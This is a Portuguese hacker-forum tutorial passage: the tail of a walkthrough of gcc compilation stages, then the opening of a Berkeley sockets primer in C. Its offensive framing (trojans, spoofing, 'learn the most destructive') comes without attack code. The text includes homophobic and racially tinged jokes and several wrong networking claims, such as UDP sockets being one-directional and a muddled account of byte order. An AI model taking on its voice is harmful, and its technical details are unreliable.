para ser mais exato, ambas serao descritas logo adiante. O fonte a ser compilado eh este: C:\>cat luft.c /* Deve existir alguem, em algum lugar... */ #include int main (){ puts ("Deve existir alguem, em algum lugar"); return 0;} C:\> 3.2 - 1 Etapa - Pre-processador (Pre-processamento) O pre-processador antes da compilacao do codigo fonte de um programa qualquer, verificarah no mesmo a presenca de todas as diretivas de compilacao (Citadas posteriormente), tais como #include, #define, etc. As diretivas de compilacao sao sempre precedidas de tralha (‘#’). Encontra-doas, dependendo de qual seja, serao tratadas de maneira diferente. A diretiva ‘#include’, terah o seu arquivo de cabecalho referido incluido no codigo fonte do programa. Exemplo: . Quando o programa passa pela etapa de pre-processamento, o pre-proces- sador, propriamente dito, se encarregarah de substituir o nome no cabecalho entre os sinais ‘<’ e ‘>’ pelo proprio arquivo de texto, que se encontra no diretorio padrao de pesquisas de cabecalhos (.headers) do IDE ou compilador utilizado. O diretorio de buscas padrao do Dev-C++ eh o '\Dev-Cpp\include\', nas distrubuicoes linux mais famosas o diretorio de busca do gcc eh o '/usr/include'. Jah a diretiva '#define' terah o nome da macro substituido pelo seu valor. Exemplo: #define NOME_MACRO "Caracteres" Neste exemplo teremos o nome da macro ('NOME_MACRO') substituido pela string “Caracteres” em todo o programa durante esta etapa, pois quando inserimos essa diretiva em nosso programa estamos dizendo que sempre que o nome da macro for encontrado, ele serah substituído pelo seu valor previamente declarado. Esta etapa ainda procura por comentários no codigo fonte do programa removendo-os logo apos encontra-los. Pre-processando com o gcc: C:\>gcc -E luft.c -o luft.i & dir luft.i O volume na unidade C é SexyMachine O número de série do volume é 9424-DB96 Pasta de C:\ 25/10/2008 12:59 664.230 luft.i 1 arquivo(s) 664.230 bytes 0 pasta(s) 3.210.997.760 bytes disponíveis C:\> Neste exemplo acima eu pre-processo (-E) o arquivo luft.c e nomeio a saida (-o) como luft.i, o '.i' eh a extensao de arquivos pre-processados ;), logo em seguida listo (dir) o arquivo criado para checar a existencia do mesmo. Veja como se parece um programa pre-processado: C:\>cat luft.i | more # 1 "luft.c" # 1 "" # 1 "" # 1 "luft.c" # 1 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/stdio.h" 1 3 # 19 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/stdio.h" 3 # 1 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/_mingw.h" 1 3 # 20 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/stdio.h" 2 3 -- Mais -- Se nao especificarmos uma saida (-o) nesta etapa, o resultado acima nao serah gravado em um arquivo em disco, mas sim na shell. Nesta etapa o gcc utilizara o utilitario cpp. Veja a versao do cpp utilizada no meu teste: C:\Documents and Settings\David>cpp --version cpp (GCC) 3.4.2 (mingw-special) Copyright (C) 2004 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 3.3 - 2 Etapa – Compilacao O compilador pega os dados previamente pre-processados e transforma os mesmos em instrucoes em assembly, que eh a linguagem mais proxima de instrucoes de ma- quinas. Na verdade o Assembly eh uma representacao legivel de tais instrucoes, por isso a mesma eh uma das linguagens que mais se aproxima do que costumamos chamar de "linguagem de maquina", pois cada instrucao em Assembly eh convertida diretamente em OpCodes, que sao os codigos realmente executados pelo processador. C:\>gcc -Wall -S luft.i -o luft.s & cat luft.s | more .file "luft.c" .def ___main; .scl 2; .type 32; .endef .section .rdata,"dr" .align 4 LC0: .ascii "Deve existir alguem, em algum lugar\0" .text .globl _main .def _main; .scl 2; .type 32; .endef _main: pushl %ebp movl %esp, %ebp subl $8, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax -- Mais -- Neste exemplo eu transformo em assembly (-S) o arquivo pre-processado luft.i e nomeio a saida (-o) para luft.s, '.s' eh a extensao de arquivos em assembly Logo em seguida eu visualizo o seu conteudo (cat luft.s) paginando o mesmo (more - mais). Usei o '-Wall' para o gcc mostrar-me os warnings, se os tais existirem... 3.4 - 3 Etapa – Assembler (Montador) Como o proprio nome jah indica, esta etapa por sua vez pega os dados jah conver- tidos em assembly e os transforma em arquivos objeto, que possuem a extensao .o em sistemas derivados do Unix e .obj sobre a plataforma MS-DOS. Estes arquivos jah estao em binario. O termo compilar eh bastante generico, normalmente eh uti- lizado para designar o ato de transformar codigos em executaveis 'englobando' todas as etapas de compilacao, mas podemos utilizar este termo para referenciar apenas esta etapa. Sao os arquivos objeto que instruem as bibliotecas, que por sua vez fazem chamadas ao sistema, p/ ser mais especifico as funcoes sao con- vertidas com seus respectivos parametros em uma linguagem entendida pelas bi- bliotecas. Veja essa ilustracao: +-----------+ | .o - .obj | +-----------+ | | V +-------------------+ | API - Biblioteca | +-------------------+ / | \ / | \ V +------------------------------+ | Kernel - Nucleo do sistema | +------------------------------+ C:\>gcc -c luft.s & dir luft.o Repare que mesmo estando sobre a plataforma DOS (Aspas, pois na verdade estou no MS-Windows) o 'gcc' cria um arquivo com a extensao .o se nao especificarmos a saida (-o). Pois como falei essa eh uma ferramenta ambientada para Unix. Na etapa de montagem o gcc utiliza o montador nativo em Unixes, o 'as' (GAs - GNU Assembler). C:\Documents and Settings\David>as --version GNU assembler 2.15.91 20040904 Copyright 2002 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License. This program has absolutely no warranty. This assembler was configured for a target of `mingw32'. 3.5 - 4 Etapa – Ligacao/Associacao - Linker (Linkador) Aqui que nosso arquivo objeto vai ser "linkado"/Associado as bibliotecas. Existem funcoes especiais em C, que apenas estao disponiveis quando associamos ("linkamos") os arquivos objeto as bibliotecas nao inclusas no Dev-C++. Um exemplo eh a biblioteca de socket do Windows, no qual contem funcoes p/ comuni- cacao entre redes. Uma API nada mais eh que um conjunto de funcoes contidas em uma biblioteca. Os arquivos executaveis instruem sua "parte objeto" que contem as instrucoes devidamente convertidas, a chamar funcoes, essas por sua vez es- tao contidas nas bibliotecas e que foram associadas ("linkadas") aos arquivos objeto. As bibliotecas ao receber as instrucoes compiladas dos arquivos objeto enviam instrucoes p/ o kernel do sistema que vai, por sua vez, executar uma determinada acao. O diretorio de busca de bibliotecas padroes do 'Dev-C++' eh o '\Dev-Cpp\lib'. Quando voce precisar usar funcoes de alguma API e que a mesma nao estah disponivel no diretorio de buscas padrao deste IDE, voce terah que linkar seus arquivos objetos a bibliotecas do Windows, como a winsock, por exemplo. Pois eh esta biblioteca que irah conter as funcoes que os arquivos objeto chamam, eh ela que interpretarah as instrucoes assembladas no objeto e repassar as instrucoes p/ o sistema operacional. Um "grande parte" de meus programas utiliza a biblioteca 'wsock32' do windows, esta library nao eh inclusa no diretorio default de buscas do Dev-C++, por isso voce terah que linkar o arquivo .obj a esta API para poder compilar a maioria dos programas da Viper Corp. Usando o Dev-C++ basta ir em 'Tools' depois 'Compile options' e marcar a caixa de selecao onde estah escrito 'Add these commands to the linker command line'. Para logo em seguida digitar '-l wsock32' abaixo. Repare no comando '-l'. Este especifica a biblioteca a ser -linkada ao arquivo .obj. Como voce pode observar meu IDE estah em ingles US (United States). Como o gcc procura as bibliotecas padroes em diretorios padroes, nao precisamos de fato linkar "manualmente" o arquivo '.o' e nao precisamos executar cada etapa desta manualmente, portanto se quisermos logo ter o arquivo .exe entao digitamos apenas gcc luft.i, gcc luft.s ou gcc luft.o, ambos os casos geraria o 'exe', mas se nos quisermos especificar uma biblioteca em especial e linkalas dire- tamente ao .o no processo normal, bastaria digitarmos: C:\>gcc -lnome_da_lib1 -lnome_da_lib2 luft.o Neste exemplo "-linko" as bibliotecas 'nome_da_lib1' e 2 ao arquivo objeto, mas tambem poderiamos linkar em qualquer etapada de compilacao. O mais comum eh iniciarmos o processo de compilacao a partir do codigo fonte: C:\>gcc -o deve luft.c C:\>deve.exe Deve existir alguem, em algum lugar C:\> Nesta etapa o utilitario utilizado eh o ld. C:\Documents and Settings\David>ld -version GNU ld version 2.15.91 20040904 Copyright 2002 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License. This program has absolutely no warranty. C:\Documents and Settings\David> Recapitulando: C:\>gcc -E luft.c -o luft.i C:\>gcc -S luft.i C:\>gcc -c luft.s C:\>mv luft.o luft.obj C:\>gcc -lwsock32 luft.obj C:\>a Deve existir alguem, em algum lugar []'s by 6_Bl4ck9_f0x6 - Viper Corp Group {}============================================{} {}=========== CORPORAÇAO VIBORA =============={} 2006-2008 by 6_Bl4ck9_f0x6 A.C.H.U.B A Cena Hacker Underground Brasileira. char *titulo[]={ "[=] + =================[####]================= + [=]\n", " *** Berkeley socket em C [_Parte1] *** \n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->\n", "[=] + ================[####]================= + [=]\n\n"}; [00]. Introducao. [01]. Requisitos para um bom entendimento e iniciando. [02]. Criando (Declarando =) um socket. [03]. Os PRINCIPAIS tipos de socket e como funcionam. [04]. Abrindo um socket. [05]. Tipos de ordenamentos de bytes. [06]. Estrutura de conexão. [07]. Funcoes de conversão de ordenamento de bytes. [08]. Funcoes de socket [Apenas as importantes estao "no indice"] 08.1 A funcao connect (); 08.2 A funcao bind (); 08.3 A funcao listen (); 08.4 A funcao accept (); 08.5 A funcao getpeername (); // Ela eh especial ehehe 08.6 A funcao send (); 08.7 A funcao write (); 08.8 A funcao read (); 08.9 A funcao recv (); 08.10 A funcao sendto (); 08.11 A funcao recvfrom (); 08.12 A funcao shutdown (); [09]. Convertendo nomes de host. [**]. Capitulo sem nome eheheh. Atençao: Este documento foi originalmente escrito para o forum thebuggers no qual tenho o prazer de ser membro. http://www.thebuggers.in Seja um membro deste excelente forum underground! "Um sonho que se sonha soh, eh soh um sonho que se sonha soh... mas sonho que se sonha junto, eh realidade." - Raul Seixas Email: b-fox@metasploit-br.org MSN: ratao666@hotmail.com Atençao: ESTE DOCUMENTO AINDA ESTA' EM DESENVOLVIMENTO, ESTE Eh APENAS O COMEÇO... Para obter a versao final sempre de uma olhada nas novas publicaçoes do thebuggers. - 00 Introdução Hi! Vou passar pra voces um pouco do esquema de criação de sockets em C que ao contrario do q a maioria pensa, nao eh um bicho de sete cabeças como ja ouvi muitos manos falarem por ai, tendo em vista q programação de socket em ambiente unix eh mais facil do que p/ windows, achei melhor explicar PRIMEIRAMENTE para essa arquitetura, mas fique tranquilo porque MUITAS functions que iremos utilizar em Unixes, tambem utilizamos em Windows. Obvio que em outros textos irei falar sobre programação de socket em C for windows, mas agora vamos nos focalizar nos unixes. Acho que voces devem saber que se voce tiver conhecimentos em progamação d socket automaticamente vc estará capacitado a desenvolver aplicativos que mau utilizados podem ser considerados ilicitos (eheheh), tais como: Scanners, Backdoors, Sniffers, etc. Então isso significa que se voce ta usando 1 trojan p/ entrar em algum sistema, voce ta usando um socket, se voce ta usando um scan, vc ta usando um socket, se sua namorada te traiu com um negão voce ta usando um, par d chifres bem grande cretino! Desculpem ae, tipo, minha mina me trocou por um negão sabe (Dae to revoltado:). Eh importante mencionar o nome da API de socket q iremos trabalhar aqui, enfim, vamos la -> Iremos trabalhar com Berkeley socket que eh a interface (API - Application Programming Interface) de programação mais famosa do Unix, o nome dessa biblioteca deriva de uma analogia que diz que portas equivalem a tomadas (Isso eh bem tosco). Exemplo: Vc se conectou em uma porta, isso significa q voce se conectou em uma tomada. Berkeley foi o canto que desenvolveram o BSD like da vida (:P). Bem, para ser + especifico o BSD foi desenvolvido na University of California EM Berkeley, no qual alem de desenvolver ainda se encarregou da distribuição de uma versão Unix que continha protocolos de ligação inter-redes, o nosso conhecido TCP/IP. Eh importante lembrar q a API anteriormente citada ja faz parte do nucleo do sistema...:) - 01 Requisitos para um bom entendimento e iniciando Vamos parar d conversa e vamos logo botar a mão na massa. Eh requisito inicial p/ um bom entendimento, que o leitor tenha conhecimentos basicos da linguagem C, e um pouco de conhecimento em TCP/IP tambe'm se faz necessario, mas nada de outro mundo, relaxa amigo. Primeiramente (Como tudo no C) temos q inserir os headers q contem as funções, NAO irei falar de todas as funções POR HORA, mas as principais funções de socket iremos abordar (Obvio...=). Go! Go! Go! #include #include Eh nesses headers que estao contidas as PRINCIPAIS funções de socket, funções essas que irei demonstrar a utilização nessa primeira parte: socket (), bind (), listen (), accept (), send (), recv (), sendto (), recvfrom (), shutdown (), connect (). OBS: Iremos utiliza POR HORA apenas estas... E MAIS algumas =). Eh importante lembrar que ainda temos q inserir determinador headers p/ utilizar funcoes e estruturas que sao padroes em todos os progs de socket, mas q nao estao nestes headers acima. Um exemplo eh a funcao htons() e a struct sockaddr_in (Ambas serao descritas logo mais), p/ utilizar as mesmas devemos inserir no nosso src o header netinet/in.h ou seja: #include E para usar funcoes como inet_addr e inet_ntoa (por exemplo) devemos incluir no nosso fonte a biblioteca 'arpa/inet.h'. Existe 1 truque amigo, eh bastante simples, quando vc nao souber em qual header uma determinada funcao esta, basta voce ir neste diretorio: /usr/include E procurar a tal funcao baseando-se pelo diretiva de compilacao '#include' no codigo fonte do programa q voce quer estudar, abra o header e procure pela funcao, simples =) - 02 Criando (Declarando =) um socket Bem, para criar um socket apenas faça isso: int Sock; Ahamm! Achou que era um bicho de 7 cabeças??? Declarar um socket nada mais eh q criar 1 variavel do tipo integer para armazenar um descritor de socket, pois a funcao 'socket()' (Descrita logo mais) retorna um numero "INTEIRO". Aposto que vc ja leu em muitos textos que trabalhar com socket eh parecido com o esquema de FILE's, onde criamos um descritor e utilizamos este descritor p/ manipular os arquivos, pois eh, eh exatamente isso cara!! Criamos um descritor d socket e manipulamos o mesmo ao longo de nosso codigo utilizando as functions... (Obvio! =) Very Easy Baby! - 03 Os PRINCIPAIS tipos de socket e como funcionam Vamos a nossa velha ilustração: ------------------------- Application Layer Payload/Dados ------------------------- Transporte TCP - UDP - RAW ---- > AQUI OS PRINCIPAIS TIPOS DE SOCKET! ------------------------- Modulo IP [Rede - OSI] [Internet TCP/IP] ------------------------- ---- > ARP - Addres Resolution Protocol Data Link (Enlace) ------------------------- PHYSICAL Interface de rede ------------------------- Essa ilustração foi retirada e adaptada de um outro txt meu no qual estou falando sobre encapsulamento de dados no modelo OSI e TCP/IP, recomendo fortemente que vc leia amigo, mas nao vem o caso agora se voce ja sabe o basico d TCP/IP (lembra q eh requisito basico para um BOM ENTENDIMENTO?), mas se voce não sabe do que eu estou falando por favor leia o texto, procurem os post's no orkut da vida ou em algum forum por ae. Ei ei ei! Baixem o meu txt aqui: http://www.hunterhacker.xpg.com.br/Encapsulamento.txt Eh + speed ;) Apenas gostaria que vc reparase onde se encontra as 3 principais gracinhas que iremos mecher no encapsulamento de dados, ou seja, os tipos de socket encapsulam ou "Multiplexão", desencapsulam ou desmultiplexão (Como queira =) os dados na camada de transporte nos modelos OSI e TCP/IP. -------------- ----------- |Desmultiplexar| |Multiplexar| -------------- ----------- ^ | | | | V Fluxo de dados Fluxo decendo seguindo de das Aplicações PHYSICAL para para Aplicação. PHYSICAL. OBS: Visualize a ilustração acima com algum Browser(Como o firefox por exemplo) ou algum editor de texto que preste (Para uma melhor visualização). Resumindamente, quando um Frame Ethernet chega a camada de 'Enlace' (Data Link) onde esta' o drive Ethernet, ele pode passar pelo modulo ARP ou pelo modulo IP, no caso do IP ele consequentemente ira seguir para um de nossos principais tipos de socket. Ja no caso do ARP o servidor ira checar em uma tabela armazenada na memoria (chamada de 'cache ARP') informações sobre associações d endereço IP com MAC do destino dos dados, caso ele não encontre a estação em sua tabela então o nó emite um tipo de trasmissão de dados chamada de Broadcast onde todas as maquinas da rede recebem o pacote, processam o mesmo, mas apenas a maquina d destino responde, a solicitação feita eh chamada de 'ARP Request' perguntando algo mais ou menos como: Arp request - De quem eh esse IP!? Faça-me o favor de me dar seu MAC para eu entregar p/ sua iface o pacote que eu acabei de receber meu fio, preciso de seu MAC para entregar. Arp reply A maquina receptora diz: - Esse IP eh meu manoh!! Pega meu MAC (Endereço da placa de rede) ae e me manda o pacote viadinho! Depois disso o gateway atualiza sua tabela e quando chega dados ele vai retransmitir os mesmos se baseando pela associação (-> IP/MAC <-) em seu cache ARP. Um broadcast eh frequentemente emitido em uma rede, a principal função do cache ARP eh reduzir o atrazo no encaminhamento d pacotes na rede, mas mesmo assim ainda temos os segundos de espera ate q o gateway envie o broadcast com a solicitação 'Request' e espere 1 resposta (Arp Reply)rsrs Por isso eh melhor adicionar logo entradas staticas ao cache ARP do gateway, assim quando um pacote chegar o gateway ja sabe onde tem que mandar. Agora smile =) E tem a questão do envenenamento da tabela ARP, mas vamos pular essa parte, brevemente estarei dispobilizando meu soft de arp poisoning... Nao percam!! Raw socket!! =) Mas vc ja sabe como previnir a SABOTAGEM da tabela... certo? (Static's Baby =). Mas nem sempre eh uma boa coisa adicionar entradas estaticas ao cache arp do gateway, pois alguma ma- quina na rede pode ter sua placa de rede ethernet subistituida por conta de problemas tecnicos e tals, dai quando existem entradas romdomicas não temos que nos preocupar com isso, pois avera sempre um broadcast para atualizar o cache do gateway. Isso significa que o gateway d tempos em tempos discarta a tabela atual e troca por 1 mais atualizada. Dependendo do protocolo contido no cabeçalho IP ele poderá passar por TCP, UDP e afins. Repare na ilustração acima (mais proxima) que o drive Ethernet e os modulos IP, TCP e afins podem ser um desmultiplexadores do Frame se o fluxo seguir da tal camada fisica (PHYSICAL) para as aplicações de rede e podem ser multiplexadores no processo inverso. Tambem poderas ver que os principais tipos de socket são: TCP, UDP e RAW. Onde: ----------------------------------------------------------------------------------- |Tipo de socket - Nome de guerra - Descrição | ----------------------------------------------------------------------------------- |TCP -> SOCK_STREM Veja mais em baixo (Hum...) | |UDP -> SOCK_DGRAM Vejam mais em baixo (Que baitolagem :P)| |RAW -> SOCK_RAW Idem | ---------------------------------------------------------------------------------- [Desc TCP] -> Stream Sockets: Com este tipo d Socket podemos ler a gravar em 1 conexão, eu quiz dizer q podemos usar o MESMO socket para tal. Existem varias aplicações d rede que utilizam SOCK_STREAM, entre elas estão -> Telnet, Beast (TJ muito loco que os caras adoram deixar indetect Uiuiui!! =), FTP, etc... Ei ei ei! Ja que voce sabe o que eh TCP tambem deve saber que existe uma certa confiabilidade no envio e recebimento de dados, pois caso aja algum erro no envio de pacotes existe a tal da retransmissão e tals ;) [Desc UDP] -> Datagrams Sockets: Com esse tipo de socket (SOCK_DGRAM) apenas podemos fazer uma coisa com o socket, ou podemos gravar nele, ou receber dados atravez dele, jamais as duas coisas ao mesmo tempo. Ou voce empurra, ou voce recebe...:P huahauhauh!! Como voce deve ter reparado esse tipo de socket se utiliza de UDP e como esse protocolo nao eh mutio confiavel (*Veja os seguimentos do Header em rfc's da vida) nao existem GARANTIAS de que o pacote vai chegar ao seu destino. Um aviso importante rapaziada do hacking feliz. O MTU padrão de redes Ethernet eh de 1500, ou seja, voces lembram que o UDP nao faz gerenciamento de sequencia de pacotes? Ou seja, evite desenvolver programas que envie dados maiores que a MTU de uma determinada rede, pois caso aja a tal da fragmentação poderá dar tudo errado ;P Frequentemente voce ouvira o termo: "Socket nao orientado a conexao" ou "Socket sem conexao". Esses termos sao a desinencia para esse tipo de socket, pois o mesmo se utiliza do protocolo UDP, mas vale lhes dizer q apesar deste fato, ainda podemos usar a funcao 'connect ()' [Que sera descrita adiante]. [Desc RAW] -> Aqui que o bicho pega manoh }-) Saca soh na risada malefica: Huahuaha!!!, Huahuahuahauh, Uhauhauhauhauha, ehehe. Com essa belezinha podemos literalemente visua- lizar as tripas do pacote, podemos ir la no fundo do coração dele e resgatar qualquer tipo de informação de la. Tambem podemos escrever pacotes na unha, inserindo dados de todos os cabeçalhos manualmente, coisa q nao eh possivel com SOCK_STREAM e SOCK_DGRAM. Vc nao pode imaginar o tamanho do poder deste tipo de socket, podemos fazer SYN Scan's, Sniffers, ferramentas de spoofing e todo tipo de malandragem que sua mente conseguir imaginar. Escutei uma historia de que RAW socket abre as interfaces de rede p/ leitura ehehe, tipo, como ele vai abrir as interfaces se ele c localiza na camada d Transporte? Huahuahuah!!! OBS: -> Apenas root pode utilizar esse tipo de socket, porque será??? }-) Serio, vou tentar deixar de molecagem apenas para explicar melhor o poder do RAW, tipo, com sockets comuns (que estamos vendo neste documento ...:) criamos uma aplicação que ira enviar e receber dados atravez da rede, ateh ai tudo bem, temos toda a mordomia de digitar algumas linhas de codigo e o Kernel do sistema constroi para nos a camada de Transporte (no model TCP/IP) e empurra pilha abaixo, ainda constroi a camada 'Internet' (Também no modelo TCP/IP) e empurra pilha abaixo e para finalizar seu proprio hardware trata do resto. Agora em RAW, tudo que o sistema fazia por nos, todo o trabalho que ele tinha eh passado para o programador, podemos manipular cada detalhe de 1 pacote d dados e inclusive forjar endereço de origem, etc. Existem mais alguns tipos de socket como SOCK_RDM e SOCK_SEQPACKET, mas creio que esses nunca devam ser citados por mim, vamos julgar aqui q quem manda so' sao 3 tipos, assim eu não perco meu tempo explicando m3rda q muito provavelmente nunca precisaremos usar. Aprender essas porras serve apenas p/ ocupar espaço em nossas mentes, onde apenas cabe coisas APELONAS. Resumindo: Se voce quer aprender algo inutil, recomendo que procure informações sobre outros tipos de socket em outro lugar, nos txt's do tio fox soh rola coisas extremamente apelonas, sou feliz com RAW eh o que basta ...:) Mas se voce for um guro e ja' sabe de tudo que ta escrito aqui pode procurar infos por ae e devorar algum tuto sobre a parada, pois o tedio e a vontade d aprender mais e mais deve estar tomando conta de voce ;) - 04 Abrindo um socket Enfim, para abrir um socket utilizaremos a 'variavel q armazenara o descritor' seguido da função 'socket ()', eh nesta função q especificamos como nosso pacote vai ser guiado ou em outras palavras podemos dizer que eh aqui que especificamos qual o protocolo e qual a familia de protocolos que iremos utilizar. A função 'socket ()' retorna -1 em caso de erro. Em 1 grande parte dos sitemas operacionais o software TCP/IP ja faz parte do OS e também possuem funções de socket inseridas no proprio sistema, mas no ambiente podre que o windows oferece para programação de sockets temos que iniciar uma dll para construirmos nossos programas, pq o windows diferente do Unix BSD, não possui no codigo do sistema uma interação (mesclagem) entre as funções de socket e o sistema. No windows temos que utilizar 1 API não nativa p/ a conversão das instruções vindas da aplicação, e para isso existe a necessidade de iniciarmos a biblioteca winsock.dll \WINDOWS\system32\winsock.dll -> Obviamente que aqui estou me referindo ao WinXP Agora nos Unixes like não precisamos inicializar dll nenhuma p/ rodar progs, porque o sistema eh um ambiente perfeito :) Então podemos dizer que esta eh mais uma facilidade que o Unix nos oferece...:) Q m3rda, detesto ter tudo na mão, putz, tem gente q estufa o peito pra dizer que detonou um host usando o metasploit NO UNIX! Grande merda, eu tb consigo bons resultados No Windows! Bah! Vamos voutar ao texto, meu pensamento um tanto quanto "preconceituoso" um dia vai me matar. ps: Diga não ao Unix for hacking !! Exemplo de abertura de socket int SoCk; SoCk = socket (AF_INET, SOCK_STREAM, 0); [*] SoCk --> Descritor de socket. [*] socket --> Função de abertura de socket. [*] AF_INET --> Familia de protocolos, ai vai + algumas: AF_INET [ARPA INTERNET PROTOCOLS] AF_UNIX [UNIX INTERNET PROTOCOLS] -> Usado para comunicação entre processos no Unix, não envolve comunicação na rede. AF_ISO [ISO PROTOCOLS] AF_IMPLINK [IMP] AF_NS [XEROX NETWORK SYSTEM PROTOCOLS] Sinceramente galera, existem coisas nessa vida que nao me interessam nem um pinguinho, mas sei lá, quando eu for um guru e não tiver mais nada para ser aprendido talvez eu me aprofunde mais nesses lixos inuteis ae em cima. Acho que o mais importante destes citados acima sem duvida nenhuma eh o AF_ISO, julgando pelos fatores historicos eheh, mas vamos continuar, não quero dar foco a isso se não o texto vai perder o rumo, hoje mesmo vou mecher com o AF_IMPLINK e saber o que de bom esse lixo pode me trazer :P. Eh como eu sempre falo, Hacker's nao necessariamente possuem conhecimento de tudo que existe, pois somos Hacker's e nao gurus =) Mas sei lah, no meu ponto de vista 1 hacker eh aquele que possui um conhecimento ofensivo e não aquele que conhece uma determinada parada de cabo a rabo E QUE NUNCA ACHA UMA FORMA DE USAR O QUE APRENDEU A SEU FAVOR, o negocio eh que nao precisamos saber de tudo, apenas precisamos saber o + DESTRUTIVO!!! Aprender o que nunca pode utilizar e q muito provavelmente nunca vai interagir eh algo idiota, mas obvio que isso nao eh regra meus companheiros de Hacking, Deus queira q eu descubra 1 maneira muito loca d fazer algo muito doido (... ? ...) mechendo com esses trocos NAO MUITO EXPLORADOS PELA MAIORIA. Ai eu escrevo uma edicao da C.O.D.E soh me desculpando pelas insanidade q falei "NO TEMPO QUE EU ERA HACKER DA ELITE"(Modesto =). Vc deve estar querendo saber o q diabos eh NECESSARIAMENTE esse troço d AF_NUMSEIOQUE. Bem, primeiramente gostaria de lhes dizer que podemos utilizar o termo TCP/IP para se referir a TUDO que de certa forma interage com o protocolo de controle de transmissao TCP/IP, ou "melhor dizendo": TCP 'E' IP. Enfim, entre o q pode chegar a INTERAGIR com tais modulos podemos citar -> Outros PROTOCOLOS e Aplicativos d rede (Entre os aplica- tivos podemos citar aqui os tambem protocolos mais conhecidos, como FTP e tals). Ja q, podemos dizer que tudo q interage com o TCP e IP, inclusive o UDP (ISSO MESMO MANOH!!! UDP!) faz parte da suruba conhecida por todos como TCP/IP, entao vamos dizer q isso eh uma familia... Entendeu!!??? Familia = tudo que eh da mesma laia, ou seja, quando eu inicio 1 socket especificando o AF_INET, eu estou querendo dizer q to afim d programar p/ a familia TCP/IP, sacow!!! Muito facil, os dados vao ser enviados se baseando pelo modelo TCP/IP de encapsulamento!! Eu sou foda =) Comumente voce encontrara' um tal de PF_INET ao inves de AF_INET nos sources da galera, por isso vou adiantando logo que AF_INET se trata de um alias para PF_INET e por esse mesmo motivo, podemos dizer q de certa forma eh mais "correto" usarmos o PF_INET (PF_INET eh mais Hacko! As pessoas na rua vao começar a dizer que vc realmente sabe o que ta fazendo eheh =), veja vc mesmo: #define PF_INET AF_INET Os protocolos ICMP e ARP tambem fazem parte da familia TCP/IP, sabiam? Justamente por isso quando iremos desenvolver aplicativos que utilizam tais protocolos nao podemos deixar d dizer qual a familia q estes protocolos pertencem, q eh o TCP/IP... AF_INET!! eheh. Enfim, vamos a mais um exemplo: Segundo a referencia -> [X] quando inicializamos um socket especificando o parametro AF_ISO, queremos dizer que pretendemos desenvolver 1 aplicativo capaz d criar e mandar dados p/ serem trafegados utilizando o modelo d comunicação criado pela ISO, ou seja, o tão famoso modelo OSI de 7 camadas. Que como eu falei anteriormente foi desenvolvido pela famosa 'International Organization for Standardization'. [X] -> Minhas ex-namorada que me disse isso (Se bem que ta na cara -.-). Huahuahauh!!! Relembrando: SoCk = socket (AF_INET, SOCK_STREAM, 0); Ja que especificamos a familia e especificamos na inicialização do socket qual o tipo de socket q iremos utilizar (SOCK_STREAM -> TCP. SOCK_DGRAM -> UDP. SOCK_RAW -> Open iface =), temos o proximo negocio (Parametro ou Argumento=) ali em cima, o tal do 0. Esse eh o tal do protocolo q nos vamos utilizar, se setarmos este argumento como 0 (Zero) a funcao ira uti- lizar um protocolo condizente com o tipo de socket especificado. Deixa eu ver como eu posso explicar. Ja sei!!! Primeiro vou lhes mostrar os numeros de identificação dos PROTOCOLOS (ID's): [0] --- > IP, internet protocol [1] --- > ICMP, internet control message protocol [2] --- > IGMP, internet group multicast protocol [3] --- > GGP, gateway-gateway protocol [6] --- > TCP, transmission control protocol [12] --- > PUP, PARC universal packet protocol [17] --- > UDP, user datagram protocol [255] --- > RAW, RAW IP interface O tipo de socket e o protocolo sempre andam lado a lado, ou em outras palavras podemos dizer que sempre andam em pares. Detalhe camaradas ^^. Datagrams Sockets também utilizam o protocolo IP para roteamento. Dã!! Meu Deus isso eh obvio!! Ninguem aqui ta falando de IPX/SPX ...:) Tipo: socket (AF_INET, SOCK_STREAM (TCP), -> 0 (IP)); socket (AF_INET, SOCK_DGRAM (UDP), -> 0 (IP)); socket (AF_INET, SOCK_RAW (:P), IPPROTO_IP); ou socket (AF_INET, SOCK_STREAM, IPPROTO_IP); socket (AF_INET, SOCK_DGRAM, IPPROTO_IP); socket (AF_INET, SOCK_RAW, IPPROTO_RAW); IPPROTO_Continua... [Olhe do lado dos ID's :] Vou passar algo mais concreto, extraido do header winsock2 do IDE Dev-Cpp 4.9.9.2. #define IPPROTO_IP 0 #define IPPROTO_ICMP 1 #define IPPROTO_IGMP 2 #define IPPROTO_GGP 3 #define IPPROTO_TCP 6 #define IPPROTO_PUP 12 #define IPPROTO_UDP 17 #define IPPROTO_IDP 22 #define IPPROTO_ND 77 #define IPPROTO_RAW 255 #define IPPROTO_MAX 256 -05 Tipos de ordenamentos de bytes Existem dois tipos de ordenamentos de bytes. Que são: Network byte order -> Ordenamento de byte "DE REDE" - "APOSTO" como muito provavelmente voce ouviu algum guru em socket dizer: - Primeiro Byte menos significativo. Isso ae ja ta manjado. Li um bocado de txt de socket e vi os caras repetirem a mesma coisa em todos os textos, os caras falam d Network Byte Order e tals, mas nao explicam. Putz, eu sou foda, descobri um monte de texto onde os caras tentam de todas as formas deixar as coisas mais complicadas repetindo a mesma coisa d diferentes formas complexas ahuahuahu!!! Vamos la, vamos tentar explicar isso direito porque foi um sufoco pra eu entender (oO), por isso estou revoltado contra esses textos. Sua maquina pode armazenar bytes em alguma ordem diferente de Network byte order, isso poderá ocasionar problemas no envio de dados pela rede, esse problema eh maior quando existe a possibilidade de comunicação entre maquinas rodando sobre arquiteturas diferentes (;), por isso devemos utilizar funções de conversão de bytes para um ordenamento adequado a conexão... -.O Host byte order -> Ordenamento de byte de Host - A ordem de armazenamento de bytes na maquina local normalmente eh essa. Existem alguns campos na strutura d conexao q devem ser convertidos deste ordenamento de bytes para Network byte order. Para tal existem muitas funcoes. Aqui funciona aquela velha historia, so que dessa vez o primeiro byte eh o mais significativo...}:) Resumidamente podemos dizer que o ardenamento de bytes para transmissão (Network byte order) eh o q faz as coisas acontecerem. 